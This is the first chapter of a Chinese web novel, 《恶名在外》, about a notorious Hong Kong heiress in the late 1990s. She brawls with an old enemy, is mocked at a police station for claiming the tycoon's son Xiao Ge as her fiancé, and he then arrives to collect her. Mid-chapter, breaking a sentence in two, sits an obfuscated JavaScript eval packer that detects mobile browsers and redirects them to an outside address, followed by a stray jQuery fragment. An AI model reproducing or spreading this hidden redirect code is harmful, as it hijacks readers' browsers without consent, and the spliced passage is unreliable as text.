1. 第 1 章

作品:《恶名在外

    世纪末的夏天,高温几乎将人蒸到熟透,港城第一高楼底下的咖啡馆里,几名打扮时髦的OL正凑在一起喝下午茶聊八卦。


    “Jam不知道发什么癫,今天开会的时候竟然敢和革少爷对着干,据说下班前就要走人了。”


    “明少爷不保他?”


    “死蠢,明摆着是肖子明要抢革少澳洲的项目,他偏偏去出这个头,也不知道被许了什么好处。”


    “听说那位‘寿星公’前几个月送医院抢救了一次,不知道肖氏是不是要变天哦,也不知道革少上位还是明少上位……”


    “但革少到底……”


    “嘘——”


    突然噤声,随即又转换话题。


    “听说你们昨天活动现场,又有女明星去钻革少休息室了?”


    “被保镖丢出来了!”


    “噗——”


    几人正兴致勃勃地说着,咖啡厅的玻璃门突然被人从外面推开,一名身材高挑纤瘦,留着一头夸张酒红色波浪卷的女生从外面进来,显然是热得不行,一边用手扇风一边迅速冲到柜台,点了一杯冰美式,加双倍冰。


    OL的视线随着她移动,然后低头小声议论。


    “是她吧?”


    “好像是哦,听说昨天刚回来就被拍到夜蒲,搞得今天娱乐版都是她,夸张……我们城城发新片都被挤到角落里去了!”


    “恶女嘛,是这样的啦,不过她来肖氏楼下干嘛?”


    “可能来借钱?你没听说啊,何家好像要破产了。”


    “我叼——报应啊,何灿之前不是当街用喷枪把人烧成重度残疾,后来靠钱摆平的吗?还真是老天有眼了……”


    “啪!”


    白皙手掌猛地一拍桌子,咖啡厅瞬间安静下来。


    何灿强忍着时差和宿醉以及夏日刺眼光线,坐到靠窗的位置,只是因为从这能看到边上肖氏集团大楼的正门。


    她来这等肖革。


    昨天她刚从英国回来,就被她爸何建章塞了一门婚事,何灿自然不肯答应,又被告知何家已经同肖家签了协议,若婚事取消,就要赔偿天价的违约金,到时候就不止何氏破产这么简单了。


    走投无路,何灿只能来肖氏门口蹲点,看能不能见到肖革,说服他取消婚约。


    然而直等到暮色降临,也没等到肖革出现。


    摸摸干瘪的肚子,何灿果断起身,决定明日再战。


    世纪末的港城一派欣欣向荣,六点钟的道路能把人堵到绝望。


    何灿看了一眼前方一连串像钉在原地一般的红色尾灯,毫不犹豫地右拐进了一条小巷子,这里有家很好吃的鱼蛋粉,离港七年,口味是改不了的。


    排队期间,她聊胜于无地又挨个给朋友们打电话,想碰碰运气,看是否能找到肖革。


    哪知……


    “革少爷是什么人,怎么可能跟我们混在一起啊。”


    “肖革是谁,我是谁?火山姐,你也太往我脸上贴金了,我家就是倒卖货品赚赚差价的中间商,哪能跟肖家相提并论?肖家可是首富啊首富!”


    “找肖革?我有这资格吗?”


    “那电话号码总有吧?”何灿逐渐泄气。


    对面一声冷哼:“我们这些人虽然仗着家里有点钱,看起来好像挺光鲜,但在这圈子里实际也算不上什么角色,怎么好意思问他肖革要电话?要来能说什么?我们也攀不上能同肖家做生意,而且肖革也不是会随便把联系方式给别人的人啊。”


    何灿轻敲裤边,心道要你们有何用。


    “小姐,你的鱼蛋粉好了。”


    “多谢……”


    糟糕,小摊贩没有pos机,而她刚回来,钱包里都是英镑,还没换港币


    老板抬头一看,笑了:“唔紧要,下次再给就嘚啦。”


    “唔该啊老板。”


    热气腾腾的鱼蛋粉装好,何灿拎着打算回车上吃,刚要走,就听身后有人叫她。


    “诶,这不是我们的火山姐吗?那么久不见差点认不出了。”


    她回头一看,一群男男女女正从边上的茶楼里出来,与她对视后,其中几人立即凑在一起小声说笑起来,像是在回味关于何灿的那些逸闻轶事。


    这些人里,有些何灿眼熟,有些没见过,也或许以前见过,但七年过去,谁还记得谁啊。


    “喂!何火山!”一头黄毛脏辫瘦得像猴子似的青年走了出来,看起来像是这群人里领头的那个。


    她想了想,但没记起这人是谁。


    黄毛带着几名小弟将何灿堵在路口,那姿态着实是不怀好意。“怎么,英国混不下去了,逃回来了?”


    “你谁啊?有事吗?”


    黄毛登时停下脚步瞪大双眼,显然他对于何灿“忘了自己”十分不爽,咬着后槽牙道:“你竟然不记得我?”


    何灿有些莫名其妙,对于这种上赶着的行为十分费解,于是她也没搭理,朝自己的车走去。


    刚钻进车里,就听身后一阵叮咣巨响,她立即回头,就见自己刚刚站过的地方此时已经一片狼藉,路边无辜的鱼蛋粉小摊被黄毛一脚踹飞,火热的汤汁散落在地,几乎蔓延到了马路中间,老板面对这样的惨状破口大骂,却在遭到黄毛的威胁后不敢出声。


    若是何灿晚一秒进车里,百分百会被热汤泼到,更要命的是,这车是问朋友借的,弄脏弄坏都不好交代。


    似是注意到了何灿的目光,黄毛带着人过来,停在了何灿跟前,不知从哪掏出来一根棒球棍敲了敲何灿的车,示意她下车。


    何灿自然不会贸然下车,她盯着对方看了一会,终于回忆起眼前这人,确实是她百八辈子前的仇家,黄文实。


    起因是什么事呢?


    哦,好像是因为他在学校里组织了一个小团体,威胁女同学做他的奴隶,然后被看不过去的何灿当众扒光了裤子绑在电线杆上,被迫遛鸟半小时。


    换位思考,这仇确实值得记一辈子。


    本不欲与他纠缠,毕竟她还有正经事做,但看着那流淌一地的热汤和站在街边一脸无奈的老板,何灿还是冷了脸,开门下车。


    “喂,大粪黄,你找我麻烦就算了,砸人家摊子不必要吧。”


    听见这个多年没被叫过的绰号,黄文实只觉得气血上涌:“我发过誓,见你一次打你一次!”


    “呵。”何灿耸耸肩:“你哪次打赢我了?”说着,她偏头看了看黄文实身后的几名喽啰,松了松筋骨,“一起上?还是单挑?”


    正处在历史进程交界处的港府,政策未定,前路未明,难免人心浮躁,街头巷尾冲突打架也是时有发生,可是这才几点?更何况还是这么多人打一个女孩子!于是围观人群越来越聚集。


    此时八卦小报又立大功,很快就有人认出,眼前这个红头发打人的女子,就是刚刚回港的恶女何灿。


    围观路人赶紧拨打了报警电话。


    十分钟后,警车呼啸而来,当街打架斗殴的何灿、黄文实等人,连同和他们一起的几位小姐,统统被带到了警署——也有例外,其中一个黄文实的手下被送去了医院,事后证实,他被何灿打断了三根肋骨。


    警署中,涉事以及围观的七八个人满满当当坐了一屋,而警署门外,是里三层外三层得了消息赶来拍第一手新闻的媒体。


    看着窗外高频闪烁的闪光灯,何灿有些懊恼地揉了揉额角——被何建章知道,她免不了又要被一顿打骂。


    不过警官很快就查明了事实真相,证明何灿是被寻仇方,属于防卫性反抗。


    但黄文实那边并不肯就此低头,他叫来了自家律师,对着警官一顿输出,气势上反倒还压了何灿一头。


    何灿受不了这气,当即拍桌子说自己也要摇人。


    警官拎起电话听筒,手指按在数字拨盘上:“你要联系谁啊,电话报过来。”


    “我——”何灿一时卡壳,她确实无人可找。亲爹为避免破产要卖女儿,即便来了也是骂她“惹是生非”,找朋友……她在港城只剩几个酒肉朋友而已,恐怕没谁会愿意替她出头。


    但也不知是不是窗外记者的闪光灯太晃眼,还是黄文实轻蔑的笑容过于碍眼,总之她灵光一闪。


    她找不到肖革,让警署帮忙找


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093118|179670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不就找得到咯,警官一通电话,他不就得即刻出现在自己面前?


    “帮我打给肖革,就说我被人打了。”


    “肖革?哪个肖革?”


    何灿抬着下巴:“全港还有几个叫得上名字的肖革?”


    “你认识肖革?”边上有人嘲讽质疑,“开玩笑吧,你知不知道肖革是谁啊?”


    警官面露难色:“何小姐,不是我不帮你啊,关键你和肖革先生咩关系啊?无缘无故我也没法帮你打这通电话啊。”


    何灿想了想,只能如实说:“我是他未婚妻。”


    话音刚落,房间里诡异的沉默,然后,爆发一阵尖利笑声。


    “噗——”黄文实大笑起来:“何火山你不会真的有精神病吧,演戏演上瘾啊?未婚妻?肖革娶你?喂,你不会不知道自己是什么人吧?!”


    其中一位小姐更是冷嘲:“神经病吧,臆想症啊?”


    “别这样说嘛,人家也可以做梦啊……”


    “做梦?死在梦里得啦。”


    就连边上的警官,闻言也忍笑到肩膀颤抖。


    而被嘲讽对象何灿却不语,只朝打电话的警官抬了抬下巴,问:“你们这应该找得到他的电话吧?”


    警官面色犹疑,电话确实是有的,但是……


    边上的人见状立马拱火:“阿sir,你就打给革少那边问下啦,看她是不是在吹水。”


    何灿也催促道:“是啊,打个电话就知道啦。”


    被两方人磨得没办法,警官按下了拨号键。


    三分钟后,警官挂了电话,何灿睁大眼睛问:“怎么样?他说多久来?”


    “呃……”警官斟酌了一下措辞:“革少爷说,他不认得您。”


    闻言,何灿一愣。


    倒也没说错,她和肖革,确实不认识,连面都没见过,不知道对方长什么样。


    但不管怎么样,也不该见死不救吧!


    “哈哈哈哈哈哈!”房间里爆发一阵讥笑声。


    “痴线,你不是说肖革是你未婚夫吗?他怎么不来?”


    黄文实翘着腿,摇头晃脑:“切,都说她是疯子啦,你们还信她的话。”


    众人的笑声越来越响,毫不遮掩。


    警官一脸为难,拎着电话听筒问她要不要给家里打电话。


    何灿想了想,摇了摇头。她无人可叫。


    “喂何火山,你不会是想逃吧?”身后,黄文实坐在椅子里,两只脚翘在桌面上轻轻晃荡着。


    他的律师扶了下眼镜,对何灿道:“何小姐,介于我方有当事人受伤进了医院,我方将向法院指控你故意伤人……”


    “故意伤人?!”何灿猛地看向对面的黄文实,“是他拿着棒球棍来找我麻烦,现在是要贼喊捉贼是不是?!”


    律师不为所动,眼里是精明的算计与胜券在握的自信:“何小姐,即便你是正当防卫,也有防卫过当这一项。”


    何灿自是不肯认输,梗着脖子道:“好啊,那你去告我啊!”


    “告你?”黄文实的脚又晃了下,“何火山,你抬头看看现在几年几月啊,你老爸的公司快要破产啦,你不赶紧把自己洗洗干净找个小开联姻或许还能挽救一下何家,现在还要跟我对簿公堂?你哪来的资格啊?喂,你家恐怕连律师都请不起哦。”


    不知黄文实是知道什么内情又或是歪打正着,总之他这番话,直插在何灿的心口上。


    是了,何家今时不同往日,但即便是以前,遇到类似状况,何建章也从来没为她说过一句话,更别提站在她这边了。


    回想起那些往事,何灿攥紧了拳头——无所谓,反正她名声够差,跟大粪黄拼了!


    笃笃。


    调解室的门被人推开,警署署长走了进来,负责调解的警官惊慌之余立即起身,只是年轻人间的斗气纠纷,还不至于要惊动警署署长吧?!


    众人正惊诧着,就见署长往边上让了一步:“革少,这边请。”


    话音刚落,一道颀长身影自他身后走出,出现在众人面前。


    “我是肖革,来接我未婚妻。”